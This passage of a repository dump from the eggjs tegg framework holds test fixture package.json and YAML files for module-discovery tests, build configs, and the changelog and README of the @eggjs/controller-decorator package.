    "path": "tegg/core/common-util/test/fixtures/apps/app-with-no-module-json/.sff/.other/module-d/package.json",
    "content": "{\n  \"name\": \"module-d\",\n  \"eggModule\": {\n    \"name\": \"moduleD\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/common-util/test/fixtures/apps/app-with-no-module-json/.sff/module-c/package.json",
    "content": "{\n  \"name\": \"module-c\",\n  \"eggModule\": {\n    \"name\": \"moduleC\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/common-util/test/fixtures/apps/app-with-no-module-json/app/module-a/package.json",
    "content": "{\n  \"name\": \"module-a\",\n  \"eggModule\": {\n    \"name\": \"moduleA\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/common-util/test/fixtures/apps/app-with-no-module-json/app/module-b/package.json",
    "content": "{\n  \"name\": \"module-b\",\n  \"eggModule\": {\n    \"name\": \"moduleB\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/common-util/test/fixtures/apps/app-with-no-module-json/app/module-b/test/fixtures/module-e/package.json",
    "content": "{\n  \"name\": \"module-e\",\n  \"eggModule\": {\n    \"name\": \"moduleE\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/common-util/test/fixtures/apps/app-with-no-module-json/node_modules/dep/index.js",
    "content": "'use strict';\n\nmodule.exports = {};\n"
  },
  {
    "path": "tegg/core/common-util/test/fixtures/apps/app-with-no-module-json/node_modules/dep/package.json",
    "content": "{\n  \"name\": \"dep\",\n  \"main\": \"index.js\"\n}\n"
  },
  {
    "path": "tegg/core/common-util/test/fixtures/apps/app-with-no-module-json/node_modules/module-c/index.js",
    "content": "'use strict';\n\nmodule.exports = {};\n"
  },
  {
    "path": "tegg/core/common-util/test/fixtures/apps/app-with-no-module-json/node_modules/module-c/package.json",
    "content": "{\n  \"name\": \"module-c\",\n  \"main\": \"index.js\",\n  \"eggModule\": {\n    \"name\": \"moduleC\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/common-util/test/fixtures/apps/app-with-no-module-json/package.json",
    "content": "{\n  \"name\": \"foo\",\n  \"dependencies\": {\n    \"dep\": \"^1.0.0\",\n    \"module-c\": \"^1.0.0\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/common-util/test/fixtures/apps/app-with-no-module-json-duplicated/.sff/.other/module-d/package.json",
    "content": "{\n  \"name\": \"module-d\",\n  \"eggModule\": {\n    \"name\": \"moduleD\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/common-util/test/fixtures/apps/app-with-no-module-json-duplicated/.sff/module-c/package.json",
    "content": "{\n  \"name\": \"module-c\",\n  \"eggModule\": {\n    \"name\": \"moduleC\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/common-util/test/fixtures/apps/app-with-no-module-json-duplicated/app/module-a/package.json",
    "content": "{\n  \"name\": \"module-a\",\n  \"eggModule\": {\n    \"name\": \"moduleA\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/common-util/test/fixtures/apps/app-with-no-module-json-duplicated/app/module-b/package.json",
    "content": "{\n  \"name\": \"module-b\",\n  \"eggModule\": {\n    \"name\": \"moduleB\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/common-util/test/fixtures/apps/app-with-no-module-json-duplicated/app/module-b/test/fixtures/module-e/package.json",
    "content": "{\n  \"name\": \"module-e\",\n  \"eggModule\": {\n    \"name\": \"moduleE\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/common-util/test/fixtures/apps/app-with-no-module-json-duplicated/node_modules/module-b/index.js",
    "content": "'use strict';\n\nmodule.exports = {};\n"
  },
  {
    "path": "tegg/core/common-util/test/fixtures/apps/app-with-no-module-json-duplicated/node_modules/module-b/package.json",
    "content": "{\n  \"name\": \"module-b\",\n  \"main\": \"index.js\",\n  \"eggModule\": {\n    \"name\": \"moduleB\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/common-util/test/fixtures/apps/app-with-no-module-json-duplicated/package.json",
    "content": "{\n  \"name\": \"foo\",\n  \"dependencies\": {\n    \"module-b\": \"^1.0.0\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/common-util/test/fixtures/apps/app-with-symlink/app/module-a/package.json",
    "content": "{\n  \"name\": \"module-a\",\n  \"eggModule\": {\n    \"name\": \"moduleA\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/common-util/test/fixtures/apps/app-with-symlink/package.json",
    "content": "{\n  \"name\": \"app-with-symlink\"\n}\n"
  },
  {
    "path": "tegg/core/common-util/test/fixtures/modules/dev-module-config/module.dev.yml",
    "content": "mysql:\n  port: 11306\n"
  },
  {
    "path": "tegg/core/common-util/test/fixtures/modules/dev-module-config/module.yml",
    "content": "mysql:\n  host: 127.0.0.1\n"
  },
  {
    "path": "tegg/core/common-util/test/fixtures/modules/foo-yaml/module.yml",
    "content": "mysql:\n  host: 127.0.0.1\n"
  },
  {
    "path": "tegg/core/common-util/test/fixtures/monorepo/foo/.gitkeep",
    "content": ""
  },
  {
    "path": "tegg/core/common-util/test/fixtures/monorepo/packages/a/node_modules/c/package.json",
    "content": "{\n  \"eggModule\": {\n    \"name\": \"c\"\n  },\n  \"dependencies\": {},\n  \"name\": \"c\",\n  \"author\": \"\"\n}"
  },
  {
    "path": "tegg/core/common-util/test/fixtures/monorepo/packages/a/package.json",
    "content": "{\n  \"name\": \"b\",\n  \"author\": \"\",\n  \"dependencies\": {\n    \"c\": \"*\"\n  },\n  \"eggModule\": {\n    \"name\": \"a\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/common-util/test/fixtures/monorepo/packages/b/package.json",
    "content": "{\n  \"name\": \"b\",\n  \"author\": \"\",\n  \"dependencies\": {\n    \"a\": \"*\"\n  },\n  \"eggModule\": {\n    \"name\": \"b\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/common-util/test/fixtures/monorepo/packages/d/node_modules/e/package.json",
    "content": "{\n  \"eggModule\": {\n    \"name\": \"e\"\n  },\n  \"name\": \"e\",\n  \"exports\": {\n    \"./package.json\": \"./package.json\"\n  },\n  \"author\": \"\"\n}"
  },
  {
    "path": "tegg/core/common-util/test/fixtures/monorepo/packages/d/node_modules/f/package.json",
    "content": "{\n  \"eggModule\": {\n    \"name\": \"f\"\n  },\n  \"name\": \"f\",\n  \"exports\": {\n    \"./index.js\": \"./index.js\"\n  },\n  \"author\": \"\"\n}"
  },
  {
    "path": "tegg/core/common-util/test/fixtures/monorepo/packages/d/package.json",
    "content": "{\n  \"name\": \"d\",\n  \"author\": \"\",\n  \"dependencies\": {\n    \"e\": \"*\",\n    \"f\": \"*\"\n  },\n  \"eggModule\": {\n    \"name\": \"d\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/common-util/test/index.test.ts",
    "content": "import { expect, it } from 'vitest';\n\nimport * as types from '../src/index.js';\n\nit('should export stable', async () => {\n  expect(types).toMatchSnapshot();\n});\n"
  },
  {
    "path": "tegg/core/common-util/tsconfig.json",
    "content": "{\n  \"extends\": \"../../../tsconfig.json\"\n}\n"
  },
  {
    "path": "tegg/core/common-util/tsdown.config.ts",
    "content": "import { defineConfig } from 'tsdown';\n\nexport default defineConfig({\n  entry: {\n    index: 'src/index.ts',\n  },\n});\n"
  },
  {
    "path": "tegg/core/controller-decorator/CHANGELOG.md",
    "content": "# Changelog\n\n> [!IMPORTANT]\n> Moving forwards we are using the GitHub releases page at <https://github.com/eggjs/egg/releases> in combination with [release.yml](https://github.com/eggjs/egg/actions/workflows/release.yml) for publishing releases and their changelogs.\n\n---\n\n## 4.0.0+\n\n* drop Node.js < 22.18.0 support\n* only support egg@4\n\npart of https://github.com/eggjs/egg/issues/5434\n\n---\n\n\nAll notable changes to this project will be documented in this file.\nSee [Conventional Commits](https://conventionalcommits.org) for commit guidelines.\n\n# [4.0.0-beta.4](https://github.com/eggjs/tegg/compare/v4.0.0-beta.3...v4.0.0-beta.4) (2025-03-15)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n# [4.0.0-beta.3](https://github.com/eggjs/tegg/compare/v4.0.0-beta.2...v4.0.0-beta.3) (2025-03-15)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n# [4.0.0-beta.2](https://github.com/eggjs/tegg/compare/v4.0.0-beta.1...v4.0.0-beta.2) (2025-03-03)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n# [4.0.0-beta.1](https://github.com/eggjs/tegg/compare/v3.52.0...v4.0.0-beta.1) (2025-03-02)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n# [3.52.0](https://github.com/eggjs/tegg/compare/v3.51.2...v3.52.0) (2024-12-30)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n## [3.51.2](https://github.com/eggjs/tegg/compare/v3.51.1...v3.51.2) (2024-12-09)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n## [3.51.1](https://github.com/eggjs/tegg/compare/v3.51.0...v3.51.1) (2024-11-06)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n# [3.51.0](https://github.com/eggjs/tegg/compare/v3.50.1...v3.51.0) (2024-10-30)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n## [3.50.1](https://github.com/eggjs/tegg/compare/v3.50.0...v3.50.1) (2024-10-23)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n# [3.50.0](https://github.com/eggjs/tegg/compare/v3.49.0...v3.50.0) (2024-10-22)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n# [3.49.0](https://github.com/eggjs/tegg/compare/v3.48.1...v3.49.0) (2024-10-21)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n## [3.48.1](https://github.com/eggjs/tegg/compare/v3.48.0...v3.48.1) (2024-10-14)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n# [3.48.0](https://github.com/eggjs/tegg/compare/v3.47.2...v3.48.0) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n## [3.47.2](https://github.com/eggjs/tegg/compare/v3.47.1...v3.47.2) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n## [3.47.1](https://github.com/eggjs/tegg/compare/v3.47.0...v3.47.1) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n# [3.47.0](https://github.com/eggjs/tegg/compare/v3.46.4...v3.47.0) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n## [3.46.4](https://github.com/eggjs/tegg/compare/v3.46.3...v3.46.4) (2024-10-09)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n## [3.46.3](https://github.com/eggjs/tegg/compare/v3.46.2...v3.46.3) (2024-10-08)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n## [3.46.2](https://github.com/eggjs/tegg/compare/v3.46.1...v3.46.2) (2024-10-07)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n## [3.46.1](https://github.com/eggjs/tegg/compare/v3.46.0...v3.46.1) (2024-09-30)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n# [3.46.0](https://github.com/eggjs/tegg/compare/v3.45.0...v3.46.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n# [3.45.0](https://github.com/eggjs/tegg/compare/v3.44.1...v3.45.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n## [3.44.1](https://github.com/eggjs/tegg/compare/v3.44.0...v3.44.1) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n# [3.44.0](https://github.com/eggjs/tegg/compare/v3.43.2...v3.44.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n## [3.43.2](https://github.com/eggjs/tegg/compare/v3.43.1...v3.43.2) (2024-09-14)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n## [3.43.1](https://github.com/eggjs/tegg/compare/v3.43.0...v3.43.1) (2024-09-14)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n# [3.43.0](https://github.com/eggjs/tegg/compare/v3.42.0...v3.43.0) (2024-09-13)\n\n\n### Features\n\n* add http cookies ([#235](https://github.com/eggjs/tegg/issues/235)) ([f46efa5](https://github.com/eggjs/tegg/commit/f46efa54b03bad41504bf76f6ed2baa8c48858ce))\n\n\n\n\n\n# [3.42.0](https://github.com/eggjs/tegg/compare/v3.41.0...v3.42.0) (2024-09-10)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n# [3.41.0](https://github.com/eggjs/tegg/compare/v3.40.1...v3.41.0) (2024-08-26)\n\n\n### Features\n\n* export controller info util for get aop middleware ([#233](https://github.com/eggjs/tegg/issues/233)) ([1d3cca8](https://github.com/eggjs/tegg/commit/1d3cca8fad859ae54fb10c1700dda261e93055b3))\n\n\n\n\n\n## [3.40.1](https://github.com/eggjs/tegg/compare/v3.40.0...v3.40.1) (2024-08-23)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n# [3.40.0](https://github.com/eggjs/tegg/compare/v3.39.5...v3.40.0) (2024-08-22)\n\n\n### Features\n\n* @Middleware support Advice ([#231](https://github.com/eggjs/tegg/issues/231)) ([613a89d](https://github.com/eggjs/tegg/commit/613a89da7ea6dd70d50e34aa9f4152358a622625))\n\n\n\n\n\n## [3.39.5](https://github.com/eggjs/tegg/compare/v3.39.4...v3.39.5) (2024-08-09)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n## [3.39.4](https://github.com/eggjs/tegg/compare/v3.39.3...v3.39.4) (2024-07-09)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n## [3.39.3](https://github.com/eggjs/tegg/compare/v3.39.2...v3.39.3) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n## [3.39.2](https://github.com/eggjs/tegg/compare/v3.39.1...v3.39.2) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n## [3.39.1](https://github.com/eggjs/tegg/compare/v3.39.0...v3.39.1) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n# [3.39.0](https://github.com/eggjs/tegg/compare/v3.38.0...v3.39.0) (2024-04-19)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n# [3.38.0](https://github.com/eggjs/tegg/compare/v3.37.3...v3.38.0) (2024-04-18)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n## [3.37.3](https://github.com/eggjs/tegg/compare/v3.37.2...v3.37.3) (2024-04-17)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n## [3.37.2](https://github.com/eggjs/tegg/compare/v3.37.1...v3.37.2) (2024-04-17)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n## [3.37.1](https://github.com/eggjs/tegg/compare/v3.37.0...v3.37.1) (2024-04-16)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n# [3.37.0](https://github.com/eggjs/tegg/compare/v3.36.3...v3.37.0) (2024-04-16)\n\n\n### Features\n\n* add HTTPHeaders decorator ([#208](https://github.com/eggjs/tegg/issues/208)) ([4678c45](https://github.com/eggjs/tegg/commit/4678c450d8b3c632bbdbe2b49b9c02e99f16733c))\n\n\n\n\n\n## [3.36.3](https://github.com/eggjs/tegg/compare/v3.36.2...v3.36.3) (2024-04-10)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n## [3.36.2](https://github.com/eggjs/tegg/compare/v3.36.1...v3.36.2) (2024-04-08)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n## [3.36.1](https://github.com/eggjs/tegg/compare/v3.36.0...v3.36.1) (2024-04-07)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n# [3.36.0](https://github.com/eggjs/tegg/compare/v3.35.1...v3.36.0) (2024-04-02)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n## [3.35.1](https://github.com/eggjs/tegg/compare/v3.35.0...v3.35.1) (2024-03-26)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n# [3.35.0](https://github.com/eggjs/tegg/compare/v3.34.0...v3.35.0) (2024-03-26)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n# [3.34.0](https://github.com/eggjs/tegg/compare/v3.33.1...v3.34.0) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n## [3.33.1](https://github.com/eggjs/tegg/compare/v3.33.0...v3.33.1) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n# [3.33.0](https://github.com/eggjs/tegg/compare/v3.32.0...v3.33.0) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n# [3.32.0](https://github.com/eggjs/tegg/compare/v3.31.0...v3.32.0) (2024-02-19)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n# [3.31.0](https://github.com/eggjs/tegg/compare/v3.30.1...v3.31.0) (2024-01-31)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n## [3.30.1](https://github.com/eggjs/tegg/compare/v3.30.0...v3.30.1) (2024-01-25)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n# [3.30.0](https://github.com/eggjs/tegg/compare/v3.29.0...v3.30.0) (2024-01-17)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n# [3.29.0](https://github.com/eggjs/tegg/compare/v3.28.2...v3.29.0) (2023-12-26)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n## [3.28.2](https://github.com/eggjs/tegg/compare/v3.28.1...v3.28.2) (2023-12-12)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n## [3.28.1](https://github.com/eggjs/tegg/compare/v3.28.0...v3.28.1) (2023-12-11)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n# [3.28.0](https://github.com/eggjs/tegg/compare/v3.27.0...v3.28.0) (2023-12-10)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n# [3.27.0](https://github.com/eggjs/tegg/compare/v3.26.0...v3.27.0) (2023-11-23)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n# [3.26.0](https://github.com/eggjs/tegg/compare/v3.25.2...v3.26.0) (2023-11-17)\n\n\n### Features\n\n* Add ControllerType = SCHEDULE ([#166](https://github.com/eggjs/tegg/issues/166)) ([2c22e7d](https://github.com/eggjs/tegg/commit/2c22e7d4943659848ddbae7b552febef38b57a3d))\n\n\n\n\n\n## [3.25.2](https://github.com/eggjs/tegg/compare/v3.25.1...v3.25.2) (2023-11-06)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n## [3.25.1](https://github.com/eggjs/tegg/compare/v3.25.0...v3.25.1) (2023-11-03)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n# [3.25.0](https://github.com/eggjs/tegg/compare/v3.24.0...v3.25.0) (2023-11-03)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n# [3.24.0](https://github.com/eggjs/tegg/compare/v3.23.0...v3.24.0) (2023-10-26)\n\n\n### Features\n\n* support Request  decorators for HTTPController ([#159](https://github.com/eggjs/tegg/issues/159)) ([945e1eb](https://github.com/eggjs/tegg/commit/945e1eb18237f40879acdd2e43cd53dd2e8272a9))\n\n\n\n\n\n# [3.23.0](https://github.com/eggjs/tegg/compare/v3.22.0...v3.23.0) (2023-09-20)\n\n\n### Bug Fixes\n\n* typo `acL` to `acl` ([#156](https://github.com/eggjs/tegg/issues/156)) ([a775d34](https://github.com/eggjs/tegg/commit/a775d34d38c481c5f9e90504224553d31ad728d3))\n\n\n\n\n\n# [3.20.0](https://github.com/eggjs/tegg/compare/v3.19.0...v3.20.0) (2023-09-07)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n# [3.19.0](https://github.com/eggjs/tegg/compare/v3.18.1...v3.19.0) (2023-08-31)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n## [3.18.1](https://github.com/eggjs/tegg/compare/v3.18.0...v3.18.1) (2023-08-29)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n# [3.18.0](https://github.com/eggjs/tegg/compare/v3.17.0...v3.18.0) (2023-08-29)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n# [3.17.0](https://github.com/eggjs/tegg/compare/v3.16.0...v3.17.0) (2023-08-24)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n# [3.16.0](https://github.com/eggjs/tegg/compare/v3.15.0...v3.16.0) (2023-08-24)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n## [3.14.3](https://github.com/eggjs/tegg/compare/v3.14.2...v3.14.3) (2023-08-14)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n## [3.14.2](https://github.com/eggjs/tegg/compare/v3.14.1...v3.14.2) (2023-08-14)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n## [3.14.1](https://github.com/eggjs/tegg/compare/v3.14.0...v3.14.1) (2023-08-11)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n# [3.14.0](https://github.com/eggjs/tegg/compare/v3.13.0...v3.14.0) (2023-07-31)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n# [3.13.0](https://github.com/eggjs/tegg/compare/v3.12.0...v3.13.0) (2023-07-25)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n# [3.12.0](https://github.com/eggjs/tegg/compare/v3.11.1...v3.12.0) (2023-07-13)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n## [3.11.1](https://github.com/eggjs/tegg/compare/v3.11.0...v3.11.1) (2023-06-29)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n# [3.11.0](https://github.com/eggjs/tegg/compare/v3.10.0...v3.11.0) (2023-06-29)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n# [3.10.0](https://github.com/eggjs/tegg/compare/v3.9.0...v3.10.0) (2023-06-28)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n# [3.8.0](https://github.com/eggjs/tegg/compare/v3.7.0...v3.8.0) (2023-05-30)\n\n\n### Features\n\n* impl EggObjectLifecycle hook in decorator ([#119](https://github.com/eggjs/tegg/issues/119)) ([cced8a2](https://github.com/eggjs/tegg/commit/cced8a2e009c33d5040fa21d00409fddef471b0e))\n\n\n\n\n\n# [3.7.0](https://github.com/eggjs/tegg/compare/v3.6.3...v3.7.0) (2023-04-03)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n# [3.5.0](https://github.com/eggjs/tegg/compare/v3.4.1...v3.5.0) (2023-02-10)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n## [3.2.3](https://github.com/eggjs/tegg/compare/v3.2.2...v3.2.3) (2023-01-16)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n## [3.2.2](https://github.com/eggjs/tegg/compare/v3.2.1...v3.2.2) (2023-01-06)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n# [3.1.0](https://github.com/eggjs/tegg/compare/v1.3.0...v3.1.0) (2022-12-27)\n\n\n### Features\n\n* **break:** use async local storage ([#69](https://github.com/eggjs/tegg/issues/69)) ([772aeb9](https://github.com/eggjs/tegg/commit/772aeb9412c6d7cd23560230b441161ba28ffa0e))\n* impl Host decorator ([#48](https://github.com/eggjs/tegg/issues/48)) ([65dc7a8](https://github.com/eggjs/tegg/commit/65dc7a899ba72dd0851c35046562766d7f2b71b6))\n* middleware decorator allow multi middleware function ([#46](https://github.com/eggjs/tegg/issues/46)) ([a4b55f7](https://github.com/eggjs/tegg/commit/a4b55f7065c3d78e2c98c4b05f01871f666542ef))\n* multi host decorator ([#68](https://github.com/eggjs/tegg/issues/68)) ([f6679de](https://github.com/eggjs/tegg/commit/f6679de1495024ecb9182168843300aa91288508))\n\n\n\n\n\n# [3.0.0](https://github.com/eggjs/tegg/compare/v3.0.0-alpha.0...v3.0.0) (2022-12-26)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n# [3.0.0-alpha.0](https://github.com/eggjs/tegg/compare/v1.3.0...v3.0.0-alpha.0) (2022-12-22)\n\n\n### Features\n\n* **break:** use async local storage ([#69](https://github.com/eggjs/tegg/issues/69)) ([772aeb9](https://github.com/eggjs/tegg/commit/772aeb9412c6d7cd23560230b441161ba28ffa0e))\n* impl Host decorator ([#48](https://github.com/eggjs/tegg/issues/48)) ([65dc7a8](https://github.com/eggjs/tegg/commit/65dc7a899ba72dd0851c35046562766d7f2b71b6))\n* middleware decorator allow multi middleware function ([#46](https://github.com/eggjs/tegg/issues/46)) ([a4b55f7](https://github.com/eggjs/tegg/commit/a4b55f7065c3d78e2c98c4b05f01871f666542ef))\n* multi host decorator ([#68](https://github.com/eggjs/tegg/issues/68)) ([f6679de](https://github.com/eggjs/tegg/commit/f6679de1495024ecb9182168843300aa91288508))\n\n\n\n\n\n# [1.5.0](https://github.com/eggjs/tegg/compare/@eggjs/controller-decorator@1.4.0...@eggjs/controller-decorator@1.5.0) (2022-08-16)\n\n\n### Features\n\n* impl Host decorator ([#48](https://github.com/eggjs/tegg/issues/48)) ([65dc7a8](https://github.com/eggjs/tegg/commit/65dc7a899ba72dd0851c35046562766d7f2b71b6))\n\n\n\n\n\n# 1.4.0 (2022-07-28)\n\n\n### Features\n\n* middleware decorator allow multi middleware function ([#46](https://github.com/eggjs/tegg/issues/46)) ([a4b55f7](https://github.com/eggjs/tegg/commit/a4b55f7065c3d78e2c98c4b05f01871f666542ef))\n\n\n\n# 1.3.0 (2022-07-01)\n\n\n\n## 1.1.1 (2022-06-21)\n\n\n\n# 1.1.0 (2022-06-15)\n\n\n\n## 1.0.1 (2022-02-08)\n\n\n\n# 1.0.0 (2022-02-08)\n\n\n\n# 0.2.0 (2022-01-20)\n\n\n### Features\n\n* impl aop ([c53df00](https://github.com/eggjs/tegg/commit/c53df001d1455a0a105689694775d880541d9d2f))\n\n\n\n## 0.1.19 (2022-01-05)\n\n\n\n## 0.1.18 (2021-12-31)\n\n\n\n## 0.1.16 (2021-12-15)\n\n\n\n## 0.1.13 (2021-11-14)\n\n\n### Features\n\n* impl standalone tegg ([af9f682](https://github.com/eggjs/tegg/commit/af9f6826ef882ef7206e80ee25433a2b19012995))\n\n\n\n## 0.1.12 (2021-11-01)\n\n\n### Bug Fixes\n\n* fix params in controller path ([c652cf2](https://github.com/eggjs/tegg/commit/c652cf211f9a422b2a53a6dc983488c774d973d2))\n\n\n\n## 0.1.10 (2021-10-26)\n\n\n\n## 0.1.6 (2021-09-09)\n\n\n\n## 0.1.5 (2021-09-08)\n\n\n\n## 0.1.2 (2021-09-01)\n\n\n### Bug Fixes\n\n* fix url path join in windows ([9c9176a](https://github.com/eggjs/tegg/commit/9c9176ae1f094016ffa80ace7aa611136bfb9046))\n\n\n### Features\n\n* impl dynamic inject ([bdafd5a](https://github.com/eggjs/tegg/commit/bdafd5a445b815515fc9e872fcfefc67a53ea562))\n\n\n\n# 0.1.0 (2021-07-22)\n\n\n### Bug Fixes\n\n* set publishConfig.access to public ([527f1fa](https://github.com/eggjs/tegg/commit/527f1fa8e3bcaf45ff5b3a63d90473d4a6a2e2b0))\n\n\n\n\n\n# [1.3.0](https://github.com/eggjs/tegg/compare/v1.2.0...v1.3.0) (2022-07-01)\n\n**Note:** Version bump only for package @eggjs/controller-decorator\n\n\n\n\n\n# [0.2.0](https://github.com/eggjs/tegg/compare/v0.1.19...v0.2.0) (2022-01-20)\n\n\n### Features\n\n* impl aop ([c53df00](https://github.com/eggjs/tegg/commit/c53df001d1455a0a105689694775d880541d9d2f))\n"
  },
  {
    "path": "tegg/core/controller-decorator/README.md",
    "content": "# @eggjs/controller-decorator\n\n[![NPM version][npm-image]][npm-url]\n[![Known Vulnerabilities][snyk-image]][snyk-url]\n[![npm download][download-image]][download-url]\n[![Node.js Version](https://img.shields.io/node/v/@eggjs/controller-decorator.svg?style=flat)](https://nodejs.org/en/download/)\n\n[npm-image]: https://img.shields.io/npm/v/@eggjs/controller-decorator.svg?style=flat-square\n[npm-url]: https://npmjs.org/package/@eggjs/controller-decorator\n[snyk-image]: https://snyk.io/test/npm/@eggjs/controller-decorator/badge.svg?style=flat-square\n[snyk-url]: https://snyk.io/test/npm/@eggjs/controller-decorator\n[download-image]: https://img.shields.io/npm/dm/@eggjs/controller-decorator.svg?style=flat-square\n[download-url]: https://npmjs.org/package/@eggjs/controller-decorator\n\n## Usage\n\nPlease read [@eggjs/controller-plugin](../../plugin/controller/README.md)\n"
  },
  {
    "path": "tegg/core/controller-decorator/package.json",
